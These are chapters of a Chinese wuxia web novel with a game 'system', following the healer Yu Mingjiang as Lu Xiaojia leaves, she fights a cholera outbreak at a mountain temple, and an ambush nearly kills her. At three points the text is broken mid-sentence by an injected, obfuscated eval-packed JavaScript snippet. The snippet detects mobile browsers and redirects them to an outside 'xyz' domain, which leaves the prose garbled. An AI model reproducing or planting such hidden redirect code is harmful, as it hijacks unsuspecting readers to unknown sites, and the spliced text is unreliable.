拐肘碰了碰他的胳膊,见他没好气地躲开,抬手轻拍了下路小佳的后背,尤明姜笑着说:“好啦,我知道你是好心的。” 她又补了句:“谢谢你。” 路小佳一脸错愕地看着她。 “你太紧张了,别总往坏处想,也不要这么没有安全感,”她把手搭在路小佳肩膀上,传递着自己的体温。 顺着他的脊背,轻轻拍了两下,她语气温柔而坚定:“我只是将心比心罢了。人在坠入深渊的时候,总是希望能有一束光照进来。如果有一天我也走投无路,我也希望有人能把我当人,拉我一把。” 尤明姜说得很慢,声音轻柔,语气平和,丝毫没有生气的意思。 还有一个理由,她没说出口。 或许正是因为她的到来,才给这个村子带来了灭顶之灾,她想尽自己所能弥补过错。 她笑了笑,“别太担心了,早点休息吧。” . 路小佳一时语塞。 谁说他没有安全感?简直是胡说八道。 他可不会轻易认输。 但偶尔,他也愿意听听这些暖心却又带着点傻气的话。 他神情古怪地看了眼尤明姜,突然抬手揉乱了她的头发,径直走到了山神庙外。 他抬头,数起了星星。 . 今晚没有星星。 只有一轮月亮,亮得让路小佳都想咬上一口。这些天,他也没吃饱。 尤明姜吃得比他更少。 难道她不饿吗?路小佳想得入了神。 突然,一阵扑棱棱的振翅声从庙外传了进来,打破了周围的寂静。 路小佳警觉地抬起头,只见一只信鸽裹挟着夜色,从院子上方飞速而入。 这只肥嘟嘟的信鸽脚腕上,绑着一根纤细的竹筒。 它在空中盘旋一圈后,精准地落在不远处的磨盘上,路小佳心中一紧,快步上前,从信鸽腿上解下竹筒,抽出里面那卷短短的信纸。 展开信纸,一行行字迹映入眼帘:“边城,关东万马堂。” 落款是易大经。 易大经是路小佳的姐夫。路小佳神色凝重,缓缓将信纸攥成一个纸团。 他真的不想就这么回去。 但这一次,他却不得不回去。 他心烦意乱,转过身,透过半开的庙门,看向一头靠在神案下的尤明姜。 她那身短打满是褶皱,被汗水浸湿的头发凌乱不堪,几缕发丝黏在汗津津的额头上。靠在神案上的那一刻,她脑袋向后仰着,看上去疲惫到了极点。 好些日子没吃荤腥,她明显瘦了些。 路小佳眉头皱得越来越紧,目光落在磨盘上正在啄食的肥信鸽身上,心中突然有了主意。 这么肥…… 一双大手稳稳地按住了扑腾个不停的信鸽。 14. 钱引 利落地拧断信鸽的脖子,剥光羽毛后,路小佳拎着杀好的鸽子肉走进庙里。 恰好,尤明姜刚刚爬起身。 她只打了个盹儿,又开始忙碌,晃晃悠悠地到井边打了桶水。 经历过洪水,井水也不是很干净,水中悬浮着杂质,显得十分浑浊。 她从竹编药篓里拿出些明矾,这还是在开封城内杨家药铺,药伯卖香药时赠送给她的。尤明姜手腕轻抖,明矾粉末如雪花纷纷扬扬落入水中。 一大把明矾迅速在水中散开,没过一会儿,杂质聚成一大坨絮状物,沉淀到桶底,形成一层薄薄的污垢,浑浊的水变得清澈起来。 她系好襻膊,用勺子把桶里的清水,一勺一勺舀进大锅,生火煮沸。 “把水煮沸,能杀死大部分肉眼看不见的微生物,喝起来口感也更柔和。”见路小佳一直站在旁边盯着自己,尤明姜以为他对煮水步骤感兴趣,便解释道,“喝生水容易生病,就算想喝凉水,也得喝煮沸过的。” 路小佳看着这一切,手里拎着光秃秃的鸽子,心不在焉地应了声:“嗯。” 尤明姜瞥了他一眼,余光扫到一个肉团影子,忙转过头,定睛一看,兴奋得蹦起来:“哟嚯,好肥的一只鸽子,从哪儿弄来的?” 路小佳总算露出点笑容,心想:站这么久,你可算瞧见了。 “抓的。”他轻描淡写地说完,把鸽子递到她面前。 “厉害啊!”尤明姜接过处理好的肥鸽子,拎在手里打量,“不对,不能说肥,得叫壮。瞧这鸽子肉多紧实,像是信鸽呢,吃起来肯定特嚼劲。” 路小佳眼神飘忽:“鸽子就是鸽子……” 尤明姜没多问,她笑了,一双灵活的眼睛笑得弯弯的,他也忍不住跟着笑。 只听她说:“托你的福,大伙儿有肉汤喝喽。” · 路小佳原本还笑着,听到这话,笑容瞬间僵住。 大伙儿? 什么大伙儿? 他震惊地看向尤明姜,见她正处理鸽肉,心里很不是滋味。 鸽子再肥也就两斤重,三十来个人分,兑上一大锅水,能喝出什么味儿? 过了一会儿,尤明姜处理好鸽子肉,重新生火,把鸽子放进大锅,又加入茯苓、山药、葛根、薏苡仁一起炖汤,还撒了些盐进去。 路小佳张了张嘴,本想拦住她,告诉她这鸽子是专门给她的,可一想到尤明姜那副软和心肠,又把话咽了回去,只是轻轻叹了口气。 尤明姜一边搅着汤,一边兴致勃勃地对他说:“你肩上有伤,喝点这汤有好处。虽说这些药材是凉性的,但每个人适量喝一些,没坏处。” 没想到她还惦记着自己,路小佳心里一动。 没一会儿,鸽子汤炖好了。 揭开锅盖,热气腾腾的汤在锅里翻滚,肥美的鸽子静静卧在其中。 经过长时间炖煮,鸽肉变得酥软,鲜美的肉香在山神庙里弥漫开来,一庙的老弱病残都被香醒,馋得直咽口水。 尤明姜又往大锅里加水,鸽子汤被稀释不少。 她把勺子在锅沿儿“铛铛”一敲,招呼大伙儿来排队,开始分汤。 · 一碗又一碗舀着,眼见汤少了大半,路小佳眼神一动,轻轻踢了下她的小腿。 尤明姜抬起头,一脸茫然地看着他:“你踢我干什么?” 她歪着头看他,眨了眨眼,突然恍然大悟“啊”了一声。 路小佳松了口气,刚觉得她还不算太笨,就见她递来一碗食材满满的浓汤,笑着说:“我懂礼貌,大功臣,这是你的,没兑水哦。” 路小佳黑着脸,把汤倒回锅里,夺过她手中的勺子:“你出来一下。” “干嘛?”尤明姜问道。 路小佳咬着牙说:“出来,我有话跟你说。” “有什么话非得出去说?等会儿,我这儿忙着呢。”尤明姜说着,伸手去拿勺子。 路小佳躲开,反手把勺子塞给一旁偷偷张望的海红珠,抬腿就往庙门外走。 海红珠见他俩这般模样,心里暗笑,像推老南瓜似的,把尤明姜往门口推:“尤姐姐,你们俩赶紧去说体己话,分汤的事儿交给我!” 尤明姜“诶”了一声,刚想开口,海红珠笑着挤挤眼,关上了庙门。 经过这几日的相处,海红珠对路小佳的印象愈发好了。 回想起分腊肉的时候,路小佳疼得连食物都难以下咽,可他的目光却不受控制,总是不自觉地飘向自己和爹爹。他眼神里透着恍惚,仿佛透过她父女俩,看到了遥远记忆中的某些身影。 那一晚,尤姐姐冒着风雨下山杀匪,路小佳便守在山神庙外,独自一人护着一屋子老弱病残,熬过了漫长的一夜。 在海红珠心里,尤明姜的地位比亲姐姐还要重。这些日子,看着尤明姜日渐消瘦,她心里就像堵了一块大石头,憋闷得难受,很不是滋味。 海红珠好几次话到嘴边,却又因不好意思而咽了回去。毕竟在尤明姜面前,自己一直是那个需要依靠她的弱者。 但路小佳却站了出来,主动做了那个得罪人的“坏人”。 表态是非常重要的,听到了大伙儿的表态,海红珠心里踏实了不少。 所以她觉得路小佳这人,虽然看着冷冰冰,实则心地不坏。 就是有点儿故作少年老成的拧巴。 · 尤明姜动作慢了一步,无奈地摇摇头,叹了口气:“这小妮子,乱点鸳鸯谱……” 说到这儿,她睫毛轻颤,脸上泛起红晕。 “鸳鸯谱”这三个字在舌尖转了一圈,又被她咽回嗓子眼儿,只觉得这话太冒失。 她手指搓着发烫的耳垂,低头看看自己黑不溜秋的草鞋,越发尴尬。 太自作多情了。 她偷偷斜眼看路小佳,只见他低着头,手握成拳抵在唇边,咳了两声。路小佳脸更红了,鼻尖冒出细密汗珠。 两人沉默地面对面站着,都低着头,不敢看对方的眼睛。 · 不知过了多久。 突然,尤明姜爽朗一笑,挠了挠胳膊,率先打破了沉默。 “我懂了,你叫我出来,就是为了一块儿发呆、被蚊子叮。” 路小佳瞪她一眼,苦笑着说:“你懂什么?你什么都不懂!” 尤明姜耸耸肩:“那你为什么不把话说明白?” 路小佳深吸一口气:“不是我嘴毒,就你这么做事,以后别说万家生佛了,万家生你才对。” 尤明姜笑道:“还说嘴不毒?亲一口不得毒发?” 路小佳回她:“你要亲?” 尤明姜差点被口水呛到,干咳两声后说:“我这是刘备般的胸襟和眼界,你好好学着点儿。” 路小佳说:“算了,你的胸襟比救苦救难的万家生佛还宽广,我可学不来。” “不就是炖了你鸽子?就当抵诊金了。” 路小佳瞥她一眼:“就这么点大的鸽子,怎么抵得上你救我的诊金?” 尤明姜脑子一热,伸手在脖子边扇了扇风:“你要这么说,我就一句话。” 路小佳挑眉问:“什么话?” 尤明姜大笑:“哈哈哈,你有多少给我多少,我不嫌多。” 路小佳直直地盯着她,盯得尤明姜尴尬不已,赶忙补救:“我开玩笑的……” “行啊。”路小佳打断她,伸手解下腰间钱袋递给她。 · 尤明姜愣了一下,接过钱袋掂了掂。钱袋里没有碎银和铜板,摸起来像是一沓银票。她好奇打开一看,顿时浑身一震,吃惊地瞪大双眼。 “这是假的吧?”尤明姜喃喃自语。 路小佳笑了笑:“真的。” 里面有一张六十万的钱引,剩下的也都是几万面额的钱引。 尤明姜还是生平头一回见到这么大面额的钱引。 她反复清点一遍,加起来正好八十万两白银。 眼中的震惊渐渐变成了惶惑,她歪着头问:“你给我这么多钱干什么?这些钱都够修一段堤坝了……” 她记得,之前悬赏令说过,这八十万两是薛果的全部家当。 尤明姜迟疑地问:“薛果那边……” “朋友之间讲究通财之义,我花了怎么不行?这本就是不义之财,我本来就打算捐六十万两给黄河水患的灾民。”路小佳抢先说道,“剩下的,你自己安排。” “噢。”尤明姜松了口气,晃了晃手中钱袋,“薛果不生气就行。” “放心,能帮到黄河灾民,他高兴还来不及呢。”路小佳说,“你先拿着。” “剩下这二十万两,也远超你的诊金了。”尤明姜说,“我会拿一部分私用,这部分钱以后我还给你。虽说朋友间有通财之义,但我和薛果又不熟。” 路小佳瞥她一眼,眼神里带着几分倨傲:“我路小佳可没那么廉价。” 尤明姜更尴尬了,委婉地说:“我还是喜欢有借有还,再借不难。” 她很少跟朋友借钱,即便借了钱,也是当天借当天还。她深知那一种患得患失的滋味,不想为难别人。 捐和借,在她看来是两码事。 · “路小佳……”尤明姜思来想去,觉得这么一大笔钱,总得有个交代。 “嗯?”路小佳抬头看她。 尤明姜一咬牙,把手中的虎撑递过去:“给你。”这虎撑是她谋生的家伙,也是思乡的寄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“尤明姜。”路小佳叫了她一声,“其实,我想跟你说……”他捻了捻指尖的血渍,直起身,“我要走了。” “你说什么?”尤明姜一怔,缓缓转过身。 · 月光洒在路小佳身上,他的眼神虽依旧清冷,却透着一丝柔和。 “我要走了。”路小佳又重复一遍。 尤明姜这才发现,路小佳身上背着个褡裢。 她很意外,轻声问:“咱们不是已经是朋友了吗?” 路小佳轻叹一声:“是朋友,但我有不得不走的理由。” 尤明姜深吸一口气:“你在赌气?” “我没赌气。”路小佳说,“我有件非常重要的事要去做。” 这件事关乎十八年前的白家灭门惨案,关乎他的家人。从路小佳出生起,就被卷入这场风波,这是他摆脱不了的宿命。 尤明姜沉默片刻,问道:“那你要去哪儿?” “关东,准确说是蒙东。” “那是个好地方,真可惜,不能和你一起去看看了。”她明白,当一个人决心要走,最好的做法就是支持。阻拦只会让对方更纠结痛苦。 想清楚后,尤明姜叹口气,放下胳膊,挥挥手说:“天下无不散的筵席。每个人都有自己的使命,既然你有不得不去做的事,我当然不会拦你。” “很遗憾不能一起北上了,祝你一路顺风。” 路小佳勉强笑了笑,轻声说:“要分别了,我还以为你会哭呢。” 尤明姜耸耸肩:“不会,我尊重每个人的选择。不管谁要离开,只要说清楚,我都能坦然接受。” · 路小佳愣住,突然觉得自己没有她这般豁达。 他抿了抿唇,想说些什么,却又不知从何说起。 两人并肩坐在磨盘上。 夜阑人静,风拂过树梢,草丛里传来蛙鸣,月光洒在她和他的身上。 谁都没有打破这一份难得的宁静。 · 天亮了。 红日从山峦后升起,云朵被染成淡淡的橙红色。 路小佳转身离开,一言不发,背对着她挥了挥手。 如果每个人都是彼此人生的过客,那就各自绽放光彩,在擦肩而过时,留下难忘的回忆。 江湖悠悠。 这又是新的一天。 今天的太阳落下,明天依旧会升起。 尤明姜看着路小佳离去的背影,嘴角上扬,伸出手,用力挥了挥。 · 15. 药葫芦 景阳冈一带,东有金堤河蜿蜒,南有徒骇河潺潺,北有京杭大运河悠悠流过。 尤明姜独自来到金堤河河堤。眼前的景象,让她神色异常凝重。 洪水过后,木桥没了踪影,被冲得不知去向。河床抬高,深褐色的湿滑淤泥在河岸肆意堆积,把原本丰茸青嫩的草芽完全掩埋。 七八十丈宽的河面,漂浮着鸡鸭猪牛骡马的尸体,在烈日暴晒下,已然开始腐烂生蛆。 刺鼻的腐臭味一阵接着一阵,熏得尤明姜几乎睁不开眼,脚下一滑,差点就掉进了污浊的河道。 尤明姜脸色十分难看。 她心里明白,堆满腐烂浮尸、污水横流的河道,时间一长,肯定会成为滋生时疫的温床。 想到这儿,她当机立断,连夜安排海红珠一行人北上,自己留在山神庙殿后收尾。 果不其然。 没过多久,烈性传染病“瘪螺痧”迅猛爆发了! . 蒙脸的葛布面巾被汗水湿透,紧紧贴在脸上,又闷又热,难受极了。 尤明姜热得受不了,俯身捧起一捧井水,双手用力一扬,把清凉的井水泼在滚烫的脸颊上,想借此降降温。 “瘪螺痧”的主要症状是频繁腹泻和呕吐。前些时日,见洪水退去,村民们拖着疲惫虚弱的身子,三三两两结伴下山。他们要清理厚厚的淤泥、残破的废墟,还要埋葬遇难的亲朋好友。在这个过程中,他们不可避免地接触到被细菌污染的物品,不知不觉就把传染病带回了山神庙。 再加上当时天气酷热,一些村民渴得嗓子冒烟,等不及尤明姜把沉淀杂质后的井水煮沸放凉,看到井水清澈,就忍不住贪凉喝了下去,结果陆续有人染病。 这些村民本就因洪水灾害身体虚弱,没过几天,整个山神庙的人都被疫病传染了。 高寄萍皱着眉头,手里拿着一根碳条,在暗黄色的麻纸上写写画画。 看到尤明姜,赶忙上前,“尤大夫,我带了几个小的去山里采草药,采到了不少连翘、黄芩、白芷和紫苏。不过,鲜竹叶、栀子、黄连这几样药材,在景阳冈上太难找了。” . 高寄萍是自愿留下来的。 尤明姜曾在海红珠、铁萍姑、海四爹三人的衣衫里各缝了个补丁,每个补丁里都藏着一万钱引。在她的好言劝说下,这三人先行北上,相约在京城碰面。 可高寄萍和她收养的四个弟弟,说什么都不愿一起走。 她打算留在景阳冈,开一家小酒馆。 景阳冈是交通要道,南来北往的商旅、公差,还有草莽豪杰,都需要在这里歇脚。 这地方三教九流的人往来频繁,消息特别灵通。 而且,山神庙里幸存的村民,也得想办法谋生。到时候,高寄萍的小酒馆可以用厚道的价格从村民手里收购粮食和蔬菜,这样既能帮村民渡过难关,又能帮尤明姜拉拢人心。 要是尤明姜以后有需要,高寄萍和弟弟们随时都能帮忙。 尤明姜见高寄萍心意已决,也没多问她留下的原因,大方地给了她三万钱引当开店经费。 高寄萍很感动,暗暗下定决心,一定要把景阳冈的这家酒馆,打造成最得力的情报站。 . 言归正传。 高寄萍转动着碳条,一项一项向尤明姜汇报:“藿香、石膏、白术、厚朴,这是您剩下的几味药材。还有大枣、生姜、陈皮,洪水前这些不难找,可现在这情况,恐怕……” 尤明姜忙了一整晚,早已疲惫不堪,听她这么说,垂眸看了一眼,轻声说道:“够了。” 这些药材里,石膏、连翘、黄芩能清热泻火,专门对付热毒;藿香、厚朴、白术可以健脾祛湿,针对湿阻脾胃;白芷和紫苏能解表和中,驱散表邪…… 不过,药材的配伍和剂量,还得根据患者不同的病情阶段,仔细进行调整。 高寄萍接着有条不紊地说:“三个草棚已经搭好了,今晚就能把病情轻的患者转移过去。那几个病情轻的村民,还从废墟里找来了几口大锅,可以用来煮水。” 尤明姜要求感染瘟疫的患者,一律饮用煮沸过的水;那些个临时搭建的草棚,则按照患者的病情程度,进行分批隔离。 景阳冈上的瘟疫,就止步于山神庙吧。 她不希望看到疫疬再继续扩散。 这片大地上的苦难已经够多了。 . . 夜深人静,染病的村民们陷入了昏睡。 结束了一天的忙碌,连轴转的尤明姜脚步虚浮,从山神庙中走了出来。 跨过门槛时,她的身子晃了两晃,扶着墙才勉强稳住。 她颤着手,费了好大劲儿,才缓缓摘下葛布面巾,干裂的嘴唇渗出了血丝。 随便往地上一坐,后背倚在墙壁上,大口大口地喘息着。 已经到了能力的极限了。 尤明姜抬手擦了把脸,汗水蛰得脸皮又红又痒,嗓子也早就沙哑得不行了。 不少感染“瘪螺痧”的村民,因为频繁腹泻,出现了严重缺水和电解质紊乱的情况。 中药汤虽然能起到辅助作用,却只能稍微缓解他们的不适,根本没办法有效对抗霍乱弧菌。 就连明矾也用完了,明天想弄到干净的饮用水,只会更难。 尤明姜心里隐隐觉得,这是一场前所未有的巨大挑战。要是稍有差错,她辛苦经营的第一份势力,就会毁于一旦。 或许…… 她应该及时止损,把有限的水和药材,用在救助更有可能活下来的人身上。 可是,当她看到村民们那一双双满是恐惧和求生渴望的眼睛时,心软了,怎么也狠不下心,断绝他们生的希望。 被汗水浸湿的一缕缕发丝,粘在她红彤彤的脸颊上,反倒添了几分与年龄相符的稚气。 在这腥风血雨的江湖中,拳头大便是道理,实力强便能主宰生死。 在有一些强者眼中,弱者的性命和尊严是多余的,不配选择自己的命运。 要怪就怪他们是一群没有价值的弱者…… 真的是这样吗?内心天人交战,突然,尤明姜一拍大腿,猛地站起身来。 不对! 她不要搞什么弱肉强食的丛林法则! 浩瀚的天穹之下,她的身影是如此的渺小,却又是如此的伟岸。 如果遇到山,那就跨过去,如果遇到海,那就迈过去!她心想:我才是自我意志的主宰,任何挡路的绊脚石,注定要被我打败! 尤明姜满头大汗,眼睛亮晶晶的,她声音很轻,态度却很坚定:“我不放弃。” 想了想,她又攥紧了拳头,加重了语气说:“我一个都不放弃!” . 这句话刚一落下,沉默了许久的圣母系统,仿佛受到了激励,突然再一次活跃起来。 系统播报声犹如天籁,在她耳边响起: 【叮!尊敬的少侠,一别数日,朝思暮念。您在阳谷县景阳冈行侠仗义,成功拯救一众老弱病残,义酬已发放到您的竹编药篓。】 义酬如下: 【二氧化氯泡腾片0.75g/片*200片】 【阿奇霉素针剂0.25g*1支】 【头孢曲松钠粉针剂0.25g*1支】 【0.9%氯化钠注射液500ml/袋*1袋】 【本次维护已完成,特发此礼,以资鼓励,望少侠戒骄戒躁,再接再厉。】 尤明姜:“……” 不等她从惊喜中回过神来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14845520|159209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她就被义酬奖励的药品数量惊呆了。 无论是针剂,还是生理盐水,数量都仅仅只有1份……难道圣母系统是让她随机挑一个幸运儿做静脉滴注吗? · 就在她腹诽的时候,耳边再次响起了烟花的声效: 【叮!知悉少侠在系统休眠升级期间,自力更生,扶危济困,恩义感怀天地!】 【您打败了全服99.9%的试炼者,现将两份珍贵的补偿奉上。】 “嘭!”一朵朵烟花升腾的音效在她的耳边响起。 尤明姜听到了耳边响起的播报声,温柔得好像母亲对孩子的殷殷叮嘱和呢喃。 【德高为圣,坤为地母,厚德载物,海纳百川。】 【以圣母之名,赐予少侠尤明姜一份赤忱的爱与祝福。】 【②你是爱,是暖,是希望。愿少侠热血不灭,匡扶人间正道,①万家生佛红云矗,赢得家家欢悦。】 尤明姜懵然睁大了眼睛,脑子还没搞清楚情况,咽喉已传来了酸涩感,哽咽声随之溢出。 · 紧接着,圣母系统的两份奖励化作两个金色宝箱,呈送到了她的面前。 她深吸一口气,眼睛眨呀眨,想把眼泪憋回去。尤明姜打开了第一只金色宝箱。 一阵烟花特效过后,金色宝箱中跳出来了一个黑黢黢的药葫芦。 【物品名称:药葫芦】 【描述:相传是铁拐李装着仙丹妙药的葫芦,也有人说它是葫芦娃中的“隐形”六娃。表面看起来平平无奇,存在感几乎为零,却可以复制药品,复制数量无上限,但复制品药性较弱。】 【注1:该葫芦不可复制活物,仅可复制药品。】 【注2:已绑定用户,不可解绑,不可交易,遗失后自动刷新。】 尤明姜心中一喜,这样就可以解决针剂不足的问题了。 她立刻开始上手操作,将瓶口对准了那一支阿奇霉素针剂,药葫芦金光一闪,葫芦上闪烁着一行红字:“请输入复制数量”。 尤明姜想了想,按照庙里的人数在葫芦身上进行手写。 药葫芦接受到了指定数量,葫芦嘴儿缓缓闭合,黑黢黢的药葫芦立刻流光溢彩。但就像它属性里所说的“存在感几乎为零”,草棚里没有一个人探出头来查看。 . 尤明姜在药葫芦闪烁的空隙,又点开了第二只金色宝箱。 宝箱打开以后,浮出来的是一个亮闪闪的称号。 【叮!恭喜您获得了稀有称号·枯荷听雨(佩戴后生效)】 【称号名称:枯荷听雨】 【称号效果:枯荷虽即将凋零,却在雨中残喘,有一种残而坚韧的美感。佩戴该称号后,少侠遭受到致命伤害时,立刻触发一次技能,恢复60%的身体机能和80%的血量,维持一种残而不死的状态。】 【注1:每隔半年可以触发一次。】 【注2:每一次触犯技能,均在上一次身体基础上进行。】 · 尤明姜皱了皱眉。 她不知道该怎么点评这个称号。 虽然她身为一个全息游戏中的NPC可以无限复活,但是不意味着她有自残倾向。她还是挺排斥死而复活的感觉,因为那会不断提醒她,她和其他生命体不同。 但是残而不死…… 她脑补了一个自己被削成人棍还没死去,只能在泡菜缸子里挣扎的画面。然后打了个寒颤。幸好这个称号是佩戴之后才能生效。 胡思乱想的时候,药葫芦已经把阿奇霉素针剂,按人数复制了针剂数量。尤明姜又把生理盐水和头孢曲松钠粉针剂,逐一如法炮制。 她心想:不管怎么说,大家有救了! 未来是明亮的。 . 16.独眼 在【药葫芦】的加持之下,尤明姜稳稳地控制住了山神庙一带的瘟疫。 一针阿奇霉素,一针头孢曲松,搭配上生理盐水,她穿梭在幸存的村民之间,为他们一一进行静脉滴注。不过短短三天,原本被“瘪螺痧”折磨到脱水的村民,渐渐有了生气,那苍白的脸上也重新泛起了血色。 尤明姜心里那块沉甸甸的大石头,总算落了地。 休憩了几日后,她又带领着村民们去疏通河道。 大伙儿喊着号子,一锹一锹地将淤泥挖出,填到堤坝的坑洼之处,大毒日头明晃晃地照着,没晒上两天,那些淤泥就变得紧实干硬,又掺了些芦苇,进一步加固堤坝。 河道清理妥当后,尤明姜号召大家,将河里漂浮着的人畜尸体打捞上岸。 对于牲畜的尸体,村民们果断进行了焚烧处理,而对于那些可怜人的浮尸,村民们对“入土为安”执念颇深,一番商议之后,最终决定集中掩埋。 之前大伙儿在废墟中四处搜罗出来的破草席,恰到好处地派上了用场。 他们用草席将浮尸轻轻卷起,再用门板抬着,送到景阳冈的树林里。 数丈深的大坑早已挖好,底部均匀地撒上一层厚厚的粉末,那是由石灰、硫磺、草木灰精心混合而成的,防止尸水渗透。随后,裹着草席的尸体被依次放入坑中,每填一层土,村民们便庄重地撒上一层粉末,层层叠叠,直至堆成一个大坟包。之后,又在坟包周围点燃艾草,袅袅青烟升腾而起,为周围的空气消毒。 尤明姜特意移来一棵松柏,种在了坟包之上。 她双手合十,口中轻声念道:“①若未来世有诸人等……至心恭敬……即得安乐……” · 待到农历七月,山枣挂满枝头,青涩里泛着微红,在叶片间若隐若现。 景阳冈透着别样的热烈。 朝廷派了个都察院佥都御史来整饬河道。 晨曦微露。 三三俩俩的村民,心急火燎地朝着山神庙奔去。 这样一个天大的喜讯,他们满心盼着能第一时间告知尤大夫。 然而,迈入了庙中,村民们不禁一怔。 只见那平日里破旧的山神庙,竟然被拾掇得清清爽爽。 神案之上,摆着一束娇艳欲滴的凤仙花,和一盘色泽鲜亮的山枣。 尤大夫和她的竹编背篓,早已不见了踪影。 山神庙中,只剩下空荡荡的四壁,和那一尊威风凛凛的神像。 · 阳光透过枝叶的缝隙,斑驳的光影落在蜿蜒的山路上。 粗布巾随意束起长发,粉紫蝴蝶状的凤仙花簪在鬓边,尤明姜一身粗布短衫,脚步轻盈,竹编药篓随着她的走动而轻晃。 一边走,一边时不时摸出一颗山枣,往汗巾上蹭两下,塞到嘴巴里咀嚼,尤明姜嘴里没闲着,手中还掂着一颗圆溜溜的山枣,上下抛着玩。 就这样沿着蜿蜒的山路信步而行,忽然,一阵潺潺的流水声传入耳中。 尤明姜眼前一亮。山枣很甜,汁水粘得她满手都是,正好循声去洗个手。 绕过一丛茂密的灌木,眼前豁然开朗,一条清澈的山涧沿着山势蜿蜒而下。 刚想上前洗个手,头皮突然一阵发麻,细密的鸡皮疙瘩从手臂上冒了出来。 尤明姜笑容一僵,脚步一下子顿住了,有杀气! 好强的杀气! 一股寒意从脚底蹿起,她转头,目光逡巡一圈,落在一处黑黢黢的山洞。 什么也看不见。 然而,她能真切地感受到,每一丝空气的流动,都暗藏杀机。 潜藏在山洞里的危险人物,也在死死地盯着她的一举一动。 · “一直听说景阳冈上有只吊睛白虎出没,原以为是为祸一方的凶兽,后听当地老人所言,方知您是山神的守护兽,如果我无意间多有叨扰,还请您……” 尤明姜一边慢慢后退,一边佩戴上【枯荷听雨】的稀有称号。 【称号名称:枯荷听雨(已生效)】 【称号效果:枯荷虽即将凋零,却在雨中残喘,有一种残而坚韧的美感。佩戴该称号后,少侠遭受到致命伤害时,立刻触发一次技能,恢复60%的身体机能和80%的血量,维持一种残而不死的状态。】 【注1:每隔半年可以触发一次。】 【注2:每一次触犯技能,均在上一次身体基础上进行。】 · 山洞里的不是吊睛白虎,这一点她当然知道。 但她这个举动,同样无异于“虎口求生”。 她还没有蠢到失去自知之明,凭她多年以来的战斗经验,她冥冥中能感受得到,这个人的武功,绝不亚于传闻中的水母阴姬、谢晓峰、西门吹雪之流。 这是她一时半会儿打不过的存在。 尤明姜一步步后退,每一步轻缓而谨慎,动作轻得悄无声息。 “呼——” 突然,她身后掌风呼啸,一个虎背熊腰的汉子掌心运劲,一掌拍向她的后心! 捕捉到那细微的破风声,尤明姜神色一凛,脚尖轻点,旋身闪到树干一侧。 童百熊这饱含杀意的一掌,重重击在树干上! 只听“砰”的一声闷响,树皮炸裂,碎屑飞溅,那粗壮树干竟也晃了几晃。 一击未中,童百熊眉头紧皱,左掌裹挟着凌厉的风声,再度欺身而上! 尤明姜双手一翻,与童百熊的掌风猛地相撞! 强大的冲击力,震得童百熊连退数步,地面上留了两行深深的脚印! 见状,尤明姜脚尖轻点树干,飞身想要离开这儿。 却不料,童百熊不依不饶。 他大喝道:“腌臜东西,休走,拿命来!” 说完,再度欺身上前,掌影重重,截断了她的退路。 兔起鹘落,你来我往,童百熊的攻势密不透风,连沟通的机会都不留给她! 他招招狠辣,每次出掌都奔着她的死穴去打,一旦打实了,铁定是个性命不保。 尤明姜被这一番扰人打法,打得怒火中烧。她火气越打越大,抓住一个破绽,立刻飞起一脚,蹬在童百熊的脸上! 顺势将他踹飞了老远。 然后,她身形一闪,一把掐住他的脖子,将他整个人生生提离地面! 童百熊双脚乱蹬,使劲儿掰着尤明姜的手,脸色涨得通红! 他心中惊骇:这个女杀手好大的力气! 尤明姜满腔怒火,死死盯着他,慢慢地锁紧手指,像是要活活捏碎他的脖颈。 “呃……” 童百熊直翻白眼,俨然快要窒息而死。 尤明姜恍若未觉,并没有立马松开手,硬生生将他勒得晕厥了过去! · 就在这时,山洞中闪现出一抹绯红! 红衣人身形飘忽,打个照面的工夫,一抬手,十几枚银针激射而来! 裹挟着凛冽的劲气,直逼她的面门! 尤明姜不假思索,一把将昏迷的童百熊摔到旁边的树干上! 她整个身体向后仰倒,稳稳做了个铁板桥,十几枚银针擦过了她的脸颊。 然而,不给她再次闪躲的机会,红衣人身法诡谲,又是一枚激射而出的银针! 针速快如闪电,不逊于暴雨梨花针! 尤明姜只觉得眼前一黑,整个人猛地一僵,膝盖一弯,“扑通”单膝跪地。 紧接着,她喉咙深处迸发了一声惨叫! 银针没入她的左眼,在颅内穿行而过,又生生从脑后穿了出来! · 手指深深地抠进泥土里,鲜血沿着她的脖颈汩汩涌出,霎时染红了大片衣衫。 “砰”的一声,尤明姜扑倒在地面,一动不动。 【WARNING——生命值即将清零!】 【叮!检测到少侠遭受到致命伤害,立刻触发一次技能!】 【称号名称:枯荷听雨(生效中)】 【称号效果:枯荷虽即将凋零,却在雨中残喘,有一种残而坚韧的美感。佩戴该称号后,少侠遭受到致命伤害时,立刻触发一次技能,恢复60% ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14851070|159209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的身体机能和80%的血量,维持一种残而不死的状态。】 【注1:每隔半年可以触发一次。】 【注2:每一次触发技能,均在上一次身体基础上进行。】 【LOADING……】 · 东方柏缓缓踱了过来,在半面浴血的尤明姜身旁,缓缓蹲了下来。 